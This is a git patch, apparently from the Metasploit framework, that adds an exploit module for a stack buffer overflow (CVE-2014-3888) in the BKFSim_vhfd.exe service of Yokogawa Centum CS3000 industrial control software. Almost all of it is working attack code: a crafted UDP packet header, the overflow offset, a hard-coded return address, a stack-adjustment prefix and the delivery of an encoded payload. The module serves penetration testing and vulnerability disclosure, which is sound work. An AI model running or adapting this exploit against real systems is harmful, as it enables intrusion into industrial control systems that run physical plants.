From cd6b83858bca5c19ef92cd674b8e8129d71d2507 Mon Sep 17 00:00:00 2001
From: jvazquez-r7 <juan_vazquez@rapid7.com>
Date: Mon, 7 Jul 2014 11:20:49 -0500
Subject: [PATCH] Add new Yokogawa SCADA exploit

---
 .../windows/scada/yokogawa_bkfsim_vhfd.rb     | 75 +++++++++++++++++++
 1 file changed, 75 insertions(+)
 create mode 100644 modules/exploits/windows/scada/yokogawa_bkfsim_vhfd.rb

diff --git a/modules/exploits/windows/scada/yokogawa_bkfsim_vhfd.rb b/modules/exploits/windows/scada/yokogawa_bkfsim_vhfd.rb
new file mode 100644
index 0000000000..90a1155783
--- /dev/null
+++ b/modules/exploits/windows/scada/yokogawa_bkfsim_vhfd.rb
@@ -0,0 +1,75 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = NormalRanking
+
+  include Msf::Exploit::Remote::Udp
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Yokogawa CS3000 BKFSim_vhfd.exe Buffer Overflow',
+      'Description'    => %q{
+        This module exploits an stack based buffer overflow on Yokogawa CS3000. The vulnerability
+        exists in the service BKFSim_vhfd.exe when using malicious user-controlled data to create
+        logs using functions like vsprintf and memcpy in a insecure way. This module has been
+        tested successfully on Yokogawa Centum CS3000 R3.08.50 over Windows XP SP3.
+      },
+      'Author'         =>
+        [
+          'Redsadic <julian.vilas[at]gmail.com>',
+          'juan vazquez'
+        ],
+      'References'     =>
+        [
+          ['CVE', '2014-3888'],
+          ['URL', 'http://jvn.jp/vu/JVNVU95045914/index.html'],
+          ['URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0002E.pdf'],
+          ['URL', 'https://community.rapid7.com/community/metasploit/blog/2014/07/07/r7-2014-06-disclosure-yokogawa-centum-cs-3000-bkfsimvhfdexe-buffer-overflow']
+        ],
+      'Payload'        =>
+        {
+          'Space'    => 1770, # 2228 (max packet length) - 16 (header) - (438 target['Offset']) - 4 (ret)
+          'DisableNops' => true,
+          'BadChars' => "\x00",
+          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
+        },
+      'Platform'       => 'win',
+      'Targets'        =>
+        [
+          [ 'Yokogawa Centum CS3000 R3.08.50 / Windows XP SP3',
+            {
+              'Ret'    => 0x61e55c9c, # push esp | ret # LibBKCCommon.dll
+              'Offset' => 438
+            }
+          ],
+        ],
+      'DisclosureDate' => 'May 23 2014',
+      'DefaultTarget'  => 0))
+
+    register_options(
+      [
+        Opt::RPORT(20010)
+      ], self.class)
+  end
+
+  def exploit
+    connect_udp
+
+    sploit = "\x45\x54\x56\x48\x01\x01\x10\x09\x00\x00\x00\x01\x00\x00\x00\x44" # header
+    sploit << rand_text(target['Offset'])
+    sploit << [target.ret].pack("V")
+    sploit << payload.encoded
+
+    print_status("Trying target #{target.name}, sending #{sploit.length} bytes...")
+    udp_sock.put(sploit)
+
+    disconnect_udp
+  end
+
+end
+